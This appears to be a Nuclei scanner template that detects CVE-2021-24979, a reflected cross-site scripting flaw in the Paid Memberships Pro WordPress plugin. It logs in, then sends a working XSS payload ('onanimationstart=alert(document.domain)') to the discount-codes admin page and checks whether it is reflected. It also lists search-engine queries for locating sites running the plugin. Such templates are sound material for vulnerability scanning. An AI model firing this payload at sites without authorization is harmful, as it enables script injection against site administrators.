Paid Memberships Pro < 2.6.6 - Cross-Site Scripting

id: CVE-2021-24979

info:
  name: Paid Memberships Pro < 2.6.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Paid Memberships Pro WordPress plugin before 2.6.6 does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting
  remediation: version 2.6.6
  reference:
    - https://wpscan.com/vulnerability/fc011990-4ec1-4553-901d-4ff1f482cb79
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24979
    - https://plugins.trac.wordpress.org/changeset/2632369/paid-memberships-pro/tags/2.6.6/adminpages/discountcodes.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24979
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40832
    cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: strangerstudios
    product: paid_memberships_pro
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
    fofa-query: body=/wp-content/plugins/paid-memberships-pro/
    publicwww-query: /wp-content/plugins/paid-memberships-pro/
    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
  tags: cve2021,cve,wp,wordpress,wpscan,wp-plugin,xss,authenticated,strangerstudios

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=pmpro-discountcodes&s=s"+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "style=animation-name:rotation+onanimationstart=alert(document.domain)//")'
          - 'contains(body_2, "Paid Memberships Pro - Membership Plugin for WordPress")'
        condition: and
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